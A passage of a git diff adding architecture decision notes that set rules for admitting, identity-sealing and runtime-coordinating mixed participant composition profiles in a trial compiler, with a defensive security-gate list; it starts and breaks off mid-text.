`AdmittedApparatusBindingModel`; or +- an exact reference to one contextually admitted + `MixedParticipantCompositionProfileModel`. + +Do not keep both as independently authoritative fields on one entry. The +single-realizer binding's one `realization_envelope` cannot truthfully +represent a graph whose components have distinct envelopes, while a random +"primary" envelope would create false authority. The mixed branch delegates +component manifests, per-component envelopes, allocation, topology and finite +phases to the #1014 profile and equality-checks every repeated manifest or +apparatus coordinate against that owner. + +The admitted-plan schema is currently `draft` under ADR-061. A closed +entry-realization union may therefore be recorded as an in-line v1 draft +change, with the hand-governed schema, Python bundle, fixtures, publication +hash/change summary and all consumers changed together. Do not publish a +second `mixed-trial-plan` root, hide composition in an optional metadata map, +or let Python accept a shape that the normative JSON Schema does not. + +The plan should pin profile inputs once and let entries refer to the exact +profile identity and digest. Reuse a narrowed, path-free +`ExperimentReferenceModel(ref_kind="profile")`; do not copy the profile's +components, allocations, edges or phases into admitted-plan child models. A +profile id cannot resolve to two digests in one compilation, and every +entry-level profile reference must resolve in the plan's exact input set. The +profile payload and all nested-profile payloads remain caller-supplied typed +artifacts, like the admitted expanded family; the compiler performs no fetch. + +Absence of a mixed reference preserves the incumbent single-realizer path. +Presence of one is not a backend support claim. Until #1016 supplies the +runtime coordinator, `realize_admitted_trial_entry()` and other one-backend +consumers must reject the mixed branch explicitly before selecting a +`backend_key`; they must never choose one component, initial phase or fallback +and continue. + +### Make realization assignment explicit, total and identity-bearing + +The pure `TrialCompilationRequest` boundary must receive an immutable, exact +assignment from every canonical `TrialCoordinateModel` to one realization +binding. A legacy request may be adapted to the same single binding for every +coordinate, but mixed/alternative selection must not come from backend +availability, worker partition, scheduler placement, source-map order or a +default profile. + +An already sealed mixed profile is an admitted compiler input, not SDL and not +a backend-discovered result. Its upstream producer must bind it to the exact +selected scenario for that coordinate. #1015 validates and seals that +assignment; it does not add a profile-selection language. An experiment that +compares alternative profiles uses distinct logical coordinates or distinct +compilations supplied by experiment authority. Each alternative is a complete +profile and becomes a distinct entry/run. It is never a list from which the +runtime may fall back. + +The canonical coordinate-to-realization assignment, exact profile refs and any +immediate source-trial link are part of `plan_intent()`. Consequently +`plan_id`, `plan_entry_id`, `run_id`, entry digest and plan digest all change +when an admitted realization changes. The published `trial-compiler-v1` +identity profile fixes the exact plan projection and cannot silently acquire a +coordinate-to-profile assignment. Composition-bound plans therefore require +governed composition-aware compiler and identity profile values plus fixed +conformance vectors; legacy pure plans retain the existing v1 profiles and +bytes. Reuse the incumbent domain-separated `derive_identity()` machinery, +canonical coordinate projection, JCS bytes and acyclic sealing chain by +parameterizing it with the selected governed profile. Do not introduce UUIDs, +a second digest helper, a parallel compiler, a composition-local run id, or +post-seal mutation. + +Traversal remains an execution detail. Canonical plan bytes and the canonical +failure diagnostic must be invariant under profile-map ordering, component +ordering, worker/thread count and `coordinate_partitions`. A failure in one +coordinate rejects the entire plan; no successful subset, dropped component, +clamped phase or reselection is emitted. + +### Break the scenario-snapshot digest cycle deliberately + +The #1014 profile requires a digest-pinned `scenario-snapshot` reference. The +final snapshot produced by `instantiate_admitted_trial_entry()` contains +`TrialInstantiationProvenance`, including `plan_digest` and `entry_digest`. +Binding that final digest inside a profile that is itself bound by the entry +would create this forbidden cycle: + +```text +profile digest -> final snapshot digest -> plan/entry digest -> profile digest +``` + +For #1015, the profile's scenario authority is the admitted selection snapshot +returned by `select_scenario_family(..., trial_provenance=None)` for the exact +coordinate outcomes. The compiler recomputes that snapshot through the public +SDL owner and requires its canonical instantiated-snapshot identity to equal +`profile.scenario_snapshot_ref`. It does not trust a caller-provided digest or +compile addresses against a different object. + +The later trial-provenance-bearing snapshot is a distinct archival artifact. +Its equality to the admitted selection is established by the existing pinned +family, selections, bindings and plan/entry provenance path, not by pretending +the two snapshot digests are equal. Do not exclude arbitrary provenance from +`canonical_instantiated_sdl_digest()`, weaken `TrialRunProvenanceModel`, put a +placeholder plan id in the profile, or reseal the profile after plan sealing. +If a future contract needs one identity spanning both artifacts, it requires a +separately versioned semantic-projection relation; it is not an implementation +shortcut for #1015. + +### Reuse the three #1014 validation layers as one admission gate + +Compilation must not reproduce the profile contract's structural, graph or +trusted-context rules. For every assigned profile it must: + +1. reconstruct/revalidate the closed model and canonical profile digest; +2. apply `MixedCompositionValidationLimits` and root-local phase-graph checks; +3. build trusted context from the exact selected scenario, compiled address + registry, concrete manifests/envelopes, API-407 capability resolution, + crossing policy/subject indexes, time models, authorities, evidence + satisfaction and nested profiles; and +4. call `validate_mixed_composition_context()` before entry sealing. + +`MixedCompositionResolutionContext` is the dependency-inversion seam. Extend +that trusted context where #1015 exposes a missing relationship; do not add a +second compiler-only graph validator. In particular, its current +`compiled_targets: address -> kind` proves target existence and kind but not +cross-kind semantic overlap. The selected-scenario/compiler owner must supply +the canonical semantic-effect coverage of each allocation target, and the +contextual gate must reject two active providers covering the same effect even +when one target is `participant` and another is `action-family` or +`controlled-scope`. String-prefix comparison is not scope interpretation. + +Graph and nested-profile resolution stays bounded and I/O-free. The existing +per-profile component/allocation/edge/phase/transition/depth/work limits are +reused. Trial compilation may add only aggregate ceilings such as profiles per +plan or total contextual work; it must not copy each composition limit into +`TrialCompilationLimitsModel`. Budget exhaustion rejects the whole admission +with the same canonical safe diagnostic regardless of traversal order. + +### Validate apparatus per component and constraints jointly + +Generalize the incumbent apparatus admission helpers rather than bypassing +them. Every profile component must resolve to the exact digest-qualified +processor or backend manifest identity allowed by the experiment's +`ExperimentApparatusConstraintModel`; participant implementation manifests +continue through the separate `AdmittedParticipantManifestReferenceModel` +join. Reuse manifest model validation, kind-specific allowlists, +processor/backend compatibility, supported-contract checks, participant- +manifest joins and `canonical_json_digest()`. +`apparatus_identity_ref` is a join key, not proof by itself. + +Each component's `RealizationEnvelopeIdentityModel` must resolve to its exact +`BackendRealizationEnvelopeModel`. Use the incumbent `member()` relation for a +whole-scenario obligation and `member_projection()` only when the owning +compiled target supplies an exact admitted subtree/field path. Do not require +every partial provider to accept the whole scenario, union independent +envelopes, or infer joint support from non-empty individual intersections. The +selected realization must satisfy all active component projections plus edge, +mapping and policy constraints together. An unresolved projection or mutually +inconsistent set rejects admission. + +API-407 requirements are resolved for the selected component/allocation/phase +through `resolve_participant_feature_support()` and exact authorized downgrade +records. Capability from another component cannot fill a gap. #1015 consumes +currently governed feature terms; it does not add mixed-runtime feature terms, +add the composition contract to backend support declarations, or claim a +service is realized. Those remain #1017 responsibilities. + +Controller, action authority, provider responsibility, backend-native +ownership, routing and disclosure authority are equality-checked as separate +coordinates. A common string value does not merge their meanings. Profile +membership, manifest compatibility, selected controller identity or HLA-style +ownership never grants action or release permission. + +### Keep finite phases inside the entry and outside the scheduler + +The profile already owns possible membership, phase order, active allocations, +directed edges and transition declarations. Admission pins and validates that +finite schedule; it does not create mutable phase state or a second workflow. +`plan_batch_schedule()` continues to order whole trial entries only. It must +not schedule profile phases, evaluate triggers, activate providers, or treat a +phase index as a retry/attempt/dispatch ordinal. + +Cleanup and isolation reuse their incumbent owners. The entry's +`TrialCleanupPlanModel` must cover the union of resources that any pre-admitted +component, edge/bridge or phase can own, including components inactive in the +initial phase. `entry_owned_resource_refs()` and +`isolation_resource_overlaps()` then remain the single definitions used by +plan validation and SCE-006. Deactivation is not cleanup, a phase boundary is +not clean-state evidence, and an isolation proof cannot ignore resources used +only by a later phase. + +Attempt timeout, cancellation, retry and cleanup policy remain in +`AdmittedExecutionControlModel` and `TrialCleanupPlanModel`. Do not duplicate +them in the profile or derive them from its edge failure disposition. A +profile transition failure and whole-trial cleanup outcome are different +facts. #1016 owns trigger evaluation, quiescence, revision-fenced phase commit +and append-only transition evidence. + +### Represent inter-trial change as an acyclic immediate-source join + +A linked realization change is a new entry and new run. Its admitted entry may +carry one narrow immediate-source tuple containing the already sealed source +plan id/digest, entry id/digest and run id. The compiler must be given the +concrete source `AdmittedTrialPlanModel`, reconstruct it with +`revalidate_admitted_trial_plan()`, resolve the exact source entry/profile, and +compare the pinned task, authoring input, family and admitted selection +snapshot. Where participant/audience policy applies, its exact policy +coordinates must also remain fixed or the relation is not an alternative +realization of the same input. + +Use the source tuple in the target identity projection. It may point only +backward to an already sealed external plan; no target/sibling forward +reference, source-plan mutation, run-id reuse or digest cycle is allowed. The +target profile describes the target realization; the source profile remains +available through the source plan. Later `ExperimentRunModel.derived_from_refs` +mirrors the relation and `TrialRunProvenanceModel` binds the target run to its +own entry. Neither existing archival carrier is pre-run authorization, and a +generic run ref alone is too weak to replace the exact admitted source tuple. + +Validate only the immediate supplied source at compilation. Do not fetch or +recursively walk an unbounded lineage graph. Transitive history remains in +immutable plan/run artifacts and can be analyzed by a separately bounded +consumer. + +## Canonical incumbents and required reuse + +| Concern | Canonical owner and required fit | +| --- | --- | +| Semantic/profile authority | `specs/formal/participant-semantics/cross-backend-participant-control.md`, ADR-102 and `mixed-participant-composition-profile-v1`. Consume MCB-001–045 and the #1014 root; do not restate them in a compiler DTO. | +| Trial contracts and integrity | `AdmittedTrialPlanModel`, `AdmittedTrialEntryModel`, `AdmittedTrialPlanInputRefsModel`, the entry/plan seal helpers, `revalidate_admitted_trial_plan()`, JCS helpers and `x-raes-invariants`. Extend the existing entry realization seam, map-key/id joins and acyclic digest chain. | +| Deterministic compilation | `TrialCompilationRequest`, `TrialCompilationResult`, `CompilationFailure`, `compile_admitted_trial_plan()`, `plan_intent()`, `admitted_profiles()`, `coordinate_projection()`, `derive_identity()`, canonical coordinate order and the existing partition-permutation tests. Add governed composition-aware profile values/vectors to this subsystem; do not silently widen v1 or create a parallel compiler/identity implementation. | +| SDL selection and addresses | `select_scenario_family()`, `canonical_sdl_digest()`, `canonical_instantiated_sdl_digest()`, `CompiledAddress`, `require_compiled_address()`, `raes_processor/compiler/addresses.py` and the selected runtime-model address registry. Shape is not existence or semantic scope. | +| Composition validation | `parse_mixed_composition_profile()`, `MixedCompositionValidationLimits`, root-local validation, `MixedCompositionResolutionContext` and `validate_mixed_composition_context()`. Extend trusted relationship inputs, not portable graph fields or duplicate validation. | +| Apparatus and envelopes | `ExperimentApparatusConstraintModel`, digest-bound manifest references, `validate_selected_apparatus()` / `validate_admitted_apparatus()`, processor/backend compatibility, participant manifest validation, `BackendRealizationEnvelopeModel`, `member()` and `member_projection()`. Apply them per component and jointly. | +| Participant capability/policy/time | `resolve_participant_feature_support()`, `ParticipantCrossingSubjectReferenceModel`, `ParticipantCrossingPolicyReferenceModel`, incumbent crossing context/resolver patterns, `TimeModelDeclarationModel` and exact clock/mapping identities. Do not copy support, policy or time formulas. | +| Cleanup, isolation and scheduling | `TrialCleanupPlanModel`, `AdmittedExecutionControlModel`, `SchedulerIsolationProofModel`, `entry_owned_resource_refs()`, `isolation_resource_overlaps()`, `validate_scheduler_isolation_proof()` and `plan_batch_schedule()`. Cover all possible profile resources; keep the scheduler entry-level. | +| Lineage and archive | `TrialInstantiationProvenance`, `TrialRunProvenanceModel`, `ExperimentRunModel.derived_from_refs`, `validate_admitted_trial_run()` and `reconcile_admitted_trial_plan()`. Add only the pre-run immediate-source join the existing archival models cannot supply. | +| Diagnostics and errors | `StrictJsonIngressError`, `AdmittedTrialPlanIngressError`, processor `CompilationFailure`, `Diagnostic`/`DiagnosticModel`, canonical diagnostic ordering and `sanitized_failure_message()`. No composition exception hierarchy and no raw resolver/Pydantic/backend text. | +| Publication and conformance | ADR-061, hand-governed `contracts/schemas/`, `schema_bundle()`, explicit schema generation routing, publication records, fixtures and the existing conformance registry. Plan schema validity remains distinct from profile contextual validity and runtime realization. | +| Workflow | `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, `tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, `tools/check_generated_schemas.py`, `tools/check_schema_publication.py`, `tools/check_semantic_coverage.py` and `tools/verify_all.py`. Extend canonical sessions and exact issue scope; add no CI lane. | + +## Cross-cutting security and host-layer path + +1. **Composition file/parser gate.** External profile bytes pass + `parse_mixed_composition_profile()` and therefore the shared bounded, + duplicate-member/non-finite/depth-rejecting JSON ingress before model + construction. Nested payloads are supplied as typed, digest-matched objects; + no YAML, URL/path fetch, remote include or recursive loader is added. +2. **Plan ingress/shape gate.** External plans pass + `parse_admitted_trial_plan_json()`; caller-held objects pass + `revalidate_admitted_trial_plan()`. `ContractModel(extra="forbid")`, closed + realization variants, keyed identities, profile refs and entry/plan digests + reject unknown fields, coercion-dependent values, partial sealing and + object-state bypass. +3. **SDL and compiled-scope gate.** The supplied `ExpandedScenario` has already + passed bounded source/composition, import-lock/path/signature, closed-model + and semantic admission. The compiler reruns public selected-scenario + admission and resolves every allocation against the authoritative compiled + address/effect index. No raw dict, alias, JSON pointer or backend handle is + accepted as scope authority. +4. **Manifest/configuration gate.** Existing processor/backend/participant + manifest models, supported-contract allowlists, configuration registries, + apparatus allowlists, compatibility and exact envelope payloads validate + each component. The profile adds no generic options/config/constraints map; + a caller-supplied manifest ref or apparatus identity is not trusted without + the concrete digest-matched payload. +5. **Authority/policy/time/evidence gate.** The contextual resolver checks + controller, action authority, route, disclosure authority, crossing subject + and policy cut, time model/mapping endpoints, API-407 support/downgrade and + obligation-to-evidence relationships independently. These are trusted + relationships supplied by the caller; the profile does not authenticate + them, and a nonempty evidence ref is not proof of artifact content. +6. **Authentication/authorization gate.** #1015 adds no endpoint. Any future + adapter must reuse `create_control_plane_app()`, `_ControlPlaneApiAuth`, + `ControlPlaneSecurityConfig.strict_defaults()`, verified + `ControlPlaneIdentity`/role, target binding, request-size guards, scoped + idempotency/fingerprints and `AuditEvent`. Authentication, plan read, + profile/artifact read, secret resolution and execution are separate + permissions; provider membership grants none of them. +7. **Secret and environment gate.** Reuse `experiment_bindings.py`, + `secret_references.py`, `participant_configuration.py`, + `raes/runtime_environment.py` and runtime-fact binding policy. Portable + plans/profiles may contain logical references and digests only. Resolved + credentials, tokens, hidden participant state, secret hashes, environment + variable locators, policy bodies and backend-native handles never enter + profile/plan bytes, identity projections, diagnostics, fixtures, logs or + telemetry. Ambient environment and backend defaults cannot select a + profile, component or phase. +8. **Resource gate.** `TrialCompilationLimitsModel` bounds coordinates, + products, per-entry material and plan bytes; `MixedCompositionValidationLimits` + bounds each graph and traversal. An aggregate profile/work ceiling prevents + many individually legal profiles from multiplying work without bound. + Limits are explicit inputs; raising a non-binding limit cannot change plan + bytes. Exhaustion is whole-plan rejection, never truncation. +9. **OS/process exposure gate.** Compilation remains pure and in-process over + typed objects. Profile/plan JSON, selections, mappings, evidence refs, + secret refs or credentials are not placed in process argv, shell strings, + filenames, environment captures, stdout/stderr, subprocess input or + backend commands. #1015 opens no socket, daemon, file-materialization or + host-network surface. +10. **Error-envelope and observability gate.** Expected failures become the + existing bounded, deterministically ordered `trial-compiler.*` + diagnostics with fixed value-independent messages and canonical addresses. + Never echo raw Pydantic input, selected/rejected values, profiles, + manifests, policy/evidence bodies, host paths, resolver exceptions, + environment dumps or tracebacks. A future HTTP adapter retains the generic + `{"detail":"internal server error"}` unexpected-failure envelope. Logs and + audit, if an adapter later adds them, contain safe ids/digests/versions, + counts, stages and durations only; they are not scientific evidence. +11. **Persistence and execution gate.** Compilation writes nothing. Do not put + profiles or plans in `RuntimeSnapshot.metadata`, operation details, audit + blobs, scheduler memory, a mutable repository or a new composition store. + `ControlPlaneStore.commit_participant_transition()` and its expected-head + transaction remain #1016's runtime boundary. Admission success establishes + no current permission, provider availability, delivery, cleanup or phase + state. + +## Extensibility seam + +The required seam is the coordinate-to-realization binding carried through +the existing admitted-plan profile set and identity projection. Its mixed +branch references the exact revisioned composition root; its legacy branch +retains the single-realizer binding. A future backend, mapping kind or nested +composition changes trusted manifest/context inputs and governed profile +revisions, not SDL or every compiler stage. + +The compiler/identity profile value is selected explicitly from the closed +admitted-plan profile set. A new output-affecting realization assignment or +identity projection mints another governed value and vector corpus; it never +retroactively changes bytes produced under an older profile. + +`MixedCompositionResolutionContext` is parameterized by trusted indexes and +resource budgets. Add the next relationship there when validation needs a new +owner, such as canonical allocation-effect coverage. Do not introduce +backend-name branches or open callback/import/plugin fields. + +A future failover/arbitration profile, lease, simultaneous scoped controllers, +joint/fused control, runtime membership discovery, or different phase engine +requires a new accepted authority/profile revision. It cannot be encoded as +another realization union member, an optional metadata field, a scheduler +choice or an interpretation of multiple components. + +## Gotchas and anti-patterns + +Avoid: + +- treating multiple manifest refs in the incumbent apparatus binding as a + composition graph, or choosing an arbitrary aggregate/primary envelope; +- copying profile components, allocations, edges, phases, time mappings, + policies, capability declarations or evidence bodies into the plan; +- building a second graph/context validator in `raes_processor`, or checking + cross-kind overlap by address prefix; +- binding the profile to the final provenance-bearing snapshot and creating a + digest cycle, or silently excluding trial provenance from the canonical + snapshot profile; +- profile selection by backend availability, scheduler, worker, host, retry, + wall time, source order or environment; runtime fallback and resampling are + forbidden; +- using phase order as causal order, phase activation as cleanup, an inactive + pinned component as available, or a transition declaration as evidence that + its trigger fired; +- unioning component capabilities/envelopes, letting one provider satisfy + another's obligation, or treating contract publication as backend support; +- conflating participant identity, controller, action authority, provider, + backend-native ownership, route and disclosure authority; +- letting `realize_admitted_trial_entry()` select one backend for a mixed + entry before #1016 exists; +- carrying a run-only `ExperimentApparatusContextModel` as pre-run authority, + or treating `ExperimentRunModel.derived_from_refs` as admission; +- reusing a source run id, mutating a source plan, linking to a sibling whose + identity is not sealed, or recursively fetching an unbounded lineage; +- omitting later-phase resources from cleanup/isolation, or creating + composition-specific retry, cleanup, scheduler, exception, logger, + persistence, fixture-runner or CI abstractions; +- partial plans, partial profiles, silent component drops, limit truncation, + fallback profiles, raw validation errors or post-seal mutation; and +- changing the draft admitted-plan schema without schema-bundle parity, + publication hash/change summary, compatibility record, positive/negative + fixtures, exports and all consumers moving together. + +## Workflow and acceptance boundary + +Issue #1015 declares SEM-234, SCE-002 and API-407. Its implementation must add +one exact issue-bound requirement scope and extend the existing +`mixed-participant-composition` ownership paths only for the actual delivery. +Use the canonical requirement-order phase and no broader fallback phase. The +branch name contains no requirement UID, so repository checks run with +`RAES_REQUIREMENT_UID=SEM-234`. + +Acceptance evidence must cover pure legacy, pure alternative, simultaneous +mixed and staged entries; exact profile/source joins; component manifest and +per-component envelope drift; unsupported capability/downgrade; missing +scope, edge, clock/order, policy, authority or evidence; cross-kind overlap; +nested-cycle/work limits; cleanup/isolation coverage; final-snapshot cycle +avoidance; full atomic rejection; and byte/diagnostic stability under map, +worker and partition permutations. Extend the incumbent trial-plan/compiler +tests and canonical nox sessions; do not add a parallel harness or workflow. + +## Non-goals and implementation boundary + +#1015 admits and seals mixed realization intent. It does not: + +- add backend choice to portable SDL or publish another authoring language; +- implement live mixed realization, a bridge/adapter protocol, phase state, + trigger evaluation, provider handoff, backend dispatch or result admission; +- change scheduler authority, worker placement, queueing, leases, concurrency, + attempt lifecycle, cleanup execution or runtime persistence; +- add API-407 mixed-runtime feature terms or backend conformance claims (#1017); +- add an HTTP/CLI/MCP endpoint, artifact store, secret manager, database, + event stream, logger or subprocess; +- establish current controller/action/release permission, successful delivery, + exact replay, interoperability, empirical transfer, trace inclusion, + bisimulation, IFC/noninterference, backend equivalence or ASR-537 + demonstration; or +- replace #1016 runtime coordination, #1018 demonstration/evaluation or #1019 + claim reconciliation. + +A sealed entry proves only deterministic, bounded admission of exact portable +intent against the supplied trusted context. Runtime availability, fresh +authority, realized support, transition commit, effects, evidence and cleanup +remain separate downstream facts. diff --git a/docs/decisions/issue-1016-mixed-runtime-coordination-preflight.md b/docs/decisions/issue-1016-mixed-runtime-coordination-preflight.md new file mode 100644 index 000000000..128871d59 --- /dev/null +++ b/docs/decisions/issue-1016-mixed-runtime-coordination-preflight.md @@ -0,0 +1,558 @@ +# Issue #1016 — Mixed runtime coordination preflight + +Date: 2026-09-20 + +Scope: coordinate one already-admitted mixed participant trial through the +existing runtime control plane, RUN-310 supervision, RUN-319/API-423 crossing +mediation, and component `RuntimeTarget` boundaries. This note is architecture +guidance, not an implementation plan. It adds no runtime behavior, contract, +schema, endpoint, backend capability, or realization claim. + +[ADR-102](adrs/adr-102-mixed-cross-backend-participant-control.md), the +[#1013 semantic preflight](issue-1013-sem-234-mixed-participant-control-preflight.md), +the [#1014 contract preflight](issue-1014-mixed-composition-contracts-preflight.md), +the [#1015 admission preflight](issue-1015-mixed-staged-trial-admission-preflight.md), +and `sem-234/rev1` already decide the architecture. No new ADR is needed. The +runtime must consume their exact identities and preserve their nonclaims. + +## Decisive architecture decisions + +### Keep one control plane, one run scope, and one state authority + +One admitted composition runs under one `RuntimeControlPlane`, one target/run +store scope, one `RuntimeMutationAuthority`, and one authoritative snapshot +revision. The admitted composition may bind several component-specific +`RuntimeTarget` values, but those targets are effect boundaries under the one +control-plane authority. They do not receive child control planes, stores, +operation ledgers, controller states, or participant histories. + +The control-plane target identity remains the authenticated logical target for +the whole admitted run. Component ids and backend target names are resolved +only from the sealed `AdmittedMixedCompositionBindingModel` and its exact +`MixedParticipantCompositionProfileModel`; a request, header, query value, +runtime fact, environment variable, backend response, or availability probe +cannot select a component. This is the narrow mixed-runtime clarification of +the ordinary one-control-plane/one-target profile: component targets are +delegated effect sinks, not independent authority domains or API tenants. + +The incumbent backend apply contract gives the selected in-process target a +deep-copied `RuntimeSnapshot`. Configured component targets are therefore +trusted runtime dependencies in this bounded design; deep copying prevents +alias mutation but does not provide confidentiality isolation between +components. If a deployment needs least-privilege component snapshots or an +out-of-process trust boundary, that requires a separately versioned projection +and transport contract. Do not imply that isolation by filtering an ad hoc +dictionary or by treating API-423 participant disclosure policy as backend +plugin authorization. + +Use a trusted, immutable runtime binding from admitted `component_id` to an +already shape-validated `RuntimeTarget`. Validate every component target's +manifest identity and digest, realization-envelope membership, required +runtime component, and current profile-relative support against the sealed +profile before the run becomes ready. Do not synthesize a union manifest, +borrow one component's manifest for the composition, infer support from method +presence, or update backend support declarations before #1017 establishes the +corresponding capability and conformance surface. + +Mixed activation must require a crossing-policy resolver, its required +SEM-233 resolution support, and final-sink enforcement. The legacy branches +in `participant_submission_options.py`, `ParticipantCrossingControlIngressMixin`, +and `ParticipantRetrievalMixin` permit some operations without a resolver; +`enforce_final_sink_flow_control=True` alone does not close those branches. +Reject an incomplete mixed configuration before readiness, including on +restart; preserve legacy single-target compatibility without importing its +opt-outs into an admitted mixed run. + +`raes_processor.trial_realization.realize_admitted_trial_entry()` currently +rejects `AdmittedMixedCompositionBindingModel`. That refusal is the honest +boundary to replace. Mixed realization must still enter through +`revalidate_admitted_trial_plan()`, the exact entry/profile join, the existing +scenario instantiation and compiled-address authorities, and the per-component +apparatus/envelope validation from trial admission. It must not create a +parallel plan, run id, scenario snapshot, compiler, or realization lifecycle. + +### Add only the missing composition-owned runtime fact + +The portable composition profile is sealed intent and deliberately contains no +current phase or mutable status. RUN-310 owns controller state and API-409 +history. API-423 owns crossing request, decision, transformation, delivery, +observation, loss, and their lineage. `ControlPlaneOperationRecord` owns +operation lifecycle, while `AuditEvent` is operational audit. None owns the +current composition phase or the MCB-032 phase-transition fact. + +Runtime coordination therefore needs one closed, composition-owned current +state plus append-only history carrier in `RuntimeSnapshot`. It must bind at +least the admitted plan/entry/run and profile identities, current phase and +revision, exact active component/allocation/edge set, predecessor event, trigger +and evaluator refs, governed order, relevant controller/authority/policy/time +cut refs, disposition, mapping loss/weakening refs, and evidence/provenance +refs. Runtime events should reference owning RUN-310 and API-423 event ids when +handoff, delivery, or observation occurs; they must not copy those occurrence +payloads or invent a second control/crossing state machine. + +The current state is a derived fold over the validated append-only composition +history and sealed initial phase, not a mutable metadata flag. The snapshot +carrier must receive the usual model/schema/codec/key-identity, aggregate-size, +restart-validation, and exact-prefix transition checks. Classify it as +runtime-owned in `backend_snapshot_contracts.py` so a component backend cannot +edit the active phase, allocation, decision cut, or coordination history in an +`ApplyResult`. Do not place it in `RuntimeSnapshot.metadata`, operation +`result_payload`, audit details, scheduler memory, adapter-local state, or a +side event stream. + +This is a published `RuntimeSnapshotEnvelopeModel` surface. Any implementation +change must follow ADR-009/ADR-061 and the existing schema authority: +`schema_bundle()` parity, explicit generation routing, publication-manifest +`last_change`, fixtures, compatibility classification, strict store/HTTP +round trips, and migration handling. Optional defaulted fields do not excuse +the publication workflow or persisted-state validation. + +### Extend the incumbent exact-cut transaction + +The exact pre-effect cut is one joined authority, not a collection of checks +performed at unrelated times. It includes: + +- plan id/digest, entry id/digest, run scope, profile id/revision/digest, and + active composition phase/revision; +- compiled participant/action/observation/crossing target, allocation id, + selected provider component, applicable edge, component manifest and + realization-envelope pins; +- authenticated caller and logical target, participant, episode, acting + controller, authority basis and scope, action admission, audience, policy + revision/decision cut, and final-sink disposition; +- effective component capability and authorized downgrade, mapping loss, + source/target clocks, admitted time/order mapping and runtime readback; and +- snapshot revision plus episode, behavior, control, crossing, and composition + history heads, outstanding-operation/quiescence result, and required + evidence/provenance refs. + +Build on `expected_participant_history_heads()` and +`ControlPlaneStore.commit_participant_transition()`. Extend their expected-head +cut with the composition history/state coordinates; do not add a composition +store or perform separate snapshot, control, crossing, phase, operation, and +audit writes. Both `InMemoryControlPlaneStore` and `LocalControlPlaneStore` +must provide the same revision/history compare-and-swap outcome through the +existing durability and readback/poisoning discipline. + +Extend the closed history-key dispatch in +`control_plane_store_history.participant_history_head()` as well as the cut +producer; adding a key only to `expected_participant_history_heads()` is +rejected by both stores. Keep persisted decision/result heads and replay +validation consistent. A successful operation advances its own heads: retain +the incumbent decision-or-result-head replay rule without interpreting a +retry as fresh permission under a later phase. + +The existing atomic operation lifecycle remains authoritative. Take the +actor/kind/target/run-scoped idempotency claim, commit the prepared exact +decision and `RUNNING` record before a component call or serialization, invoke +the external boundary outside the store transaction while retaining the one +logical mutation reservation, then commit the result snapshot, terminal +record, safe audit event, and new history facts atomically. A phase transition +uses the same operation lifecycle with a distinct closed operation kind or an +explicitly owned parent-operation relation; it must not masquerade as a +participant-control occurrence, crossing, workflow cancellation, or backend +result. + +An exact retry returns the durable incumbent result only after the same actor, +operation kind, target/run, profile, phase, allocation, policy, mapping, and +state-cut commitment agrees. It never re-resolves availability, renews a +permit, advances a phase, or calls a provider again. Conflicting reuse and CAS +loss return the incumbent coarse conflict behavior without disclosing the +winning provider or cut. + +### Resolve, commit, then dispatch through the existing final sink + +The action path must remain inside +`ParticipantCrossingControlIngressMixin`/`execute_action_ingress_crossing()`. +After ordinary participant/controller binding, RUN-319/API-423 resolution, +SEM-233 final-sink resolution, action binding/admission, and exact composition +resolution all agree, the combined prepared state is committed before +dispatch. `submit_bound_participant_action()` must no longer choose a backend +by directly assuming `control_plane._target.participant_runtime`; the trusted +allocation cut supplies exactly one active admitted component target. + +Invoke the selected component through `apply_authorized_participant_action()` +and `_call_backend_apply()`, preserving deep argument isolation, +`participant_effect_authority()`, backend result shape/size checks, changed +address accounting, snapshot carrier ownership, participant history transition +checks, credential sanitization, materialization/realization gates, and safe +backend diagnostics. A coordinator or adapter must not call +`participant_runtime.admit_action()` outside that boundary or accept a native +success after any RAES gate failed. + +Require all requested effects/resources to fit the selected allocation's +resolved effect coverage before invocation; reject a straddling request unless +an admitted decomposition owns every sub-effect. Bind that scoped authority +through `participant_effect_authority()` and reuse +`backend_effect_transitions.py` for returned-state ownership and actual +change accounting. A valid participant result is not automatically a valid +result for that component. Reject cross-component changes, including omitted +`changed_addresses`; do not merge whole returned snapshots from parallel +providers or silently discard unauthorized changes and report success. + +The same final-boundary rule applies to participant/external serialization. +API-408 retrieval and `serialize_participant_view()` keep audience binding, +API-423 policy/transformation, SEM-233 final-sink, stable subject, result +payload, and revision-pinned projection semantics. Composition routing may +narrow an already-authorized projection; it cannot widen one, serialize before +the decision commit, treat an edge as a crossing occurrence, or use audit +retention as participant visibility. + +This boundary includes `deliver_participant_directed_view()` and the trusted +ingress/egress transformers, whose returned typed carrier must match the +governed subject. Already-projected inject content still needs delivery-time +audience, phase, edge, capability and policy checks; it proves no observation. +Transformers/evaluators are trusted computation, not dispatch hooks, and may +not disclose or call a provider while preparing an uncommitted decision. + +Audit every reachable effect entry point, not just action submission: +`participant_episode_control.py`, `participant_execution_control.py`, +`time_control.py`, `control_plane_submission.py`/`observation_admission.py`, +and nested calls in `participant_scheduler_operations.py` still use a single +runtime dependency. An outer time/execution permit does not authorize each +nested action or exchange. Thread the admitted cut through the incumbent +boundary or refuse an unsupported mixed operation before any component call. +Observation support must resolve against its allocated source, with collection, +retention and export retaining their existing independent gates. Do not add a +second scheduler or silently enable unsupported service paths. + +### Keep control, provider responsibility, and native ownership separate + +A RUN-310 approval, denial, direction, intervention, handoff, override, or +cancellation remains a runtime-built API-409 fact over the compiled ACT-617 +declaration. It does not dispatch an action or change the active provider. A +composition phase transition changes admitted provider responsibility only +after its own revision-fenced commit. Backend-native ownership or bridge +routing remains an observed responsibility/movement fact and changes neither +acting controller nor disclosure authority. + +The coordinator must call the incumbent `bind_participant_control_request()`, +`prepare_participant_control_transition()`, target resolver, rejection ordering, +context validator, and combined RUN-310/RUN-319 final-sink commit. It must not +accept caller-built API-409 occurrences, create a provider-handoff control kind, +map component ids to controllers, or infer completion from a nonempty evidence +ref or backend acknowledgement. + +Approval remains before SEM-211 action admission; admission remains before an +attempt; an attempted effect remains distinct from delivery; delivery remains +distinct from observation. Cancellation after an attempt cannot erase an +effect, delivery, participant knowledge, control occurrence, crossing record, +or composition fact. The composition history links these owners by stable refs +and exact cuts rather than collapsing them into one status. + +### Phase progression is sealed, quiescent, and fail closed + +The active phase starts only from the admitted profile's `initial_phase_id`. +Progression may follow only one sealed transition whose source equals the live +phase and whose trigger/evaluator, progress bound, target membership, +allocations, edges, mappings, policy, failure disposition, and evidence +obligations still resolve at the live cut. Trigger evaluation is a trusted +injected dependency and runs under `external_control_plane_call()` so it cannot +re-enter mutation. Runtime facts can supply 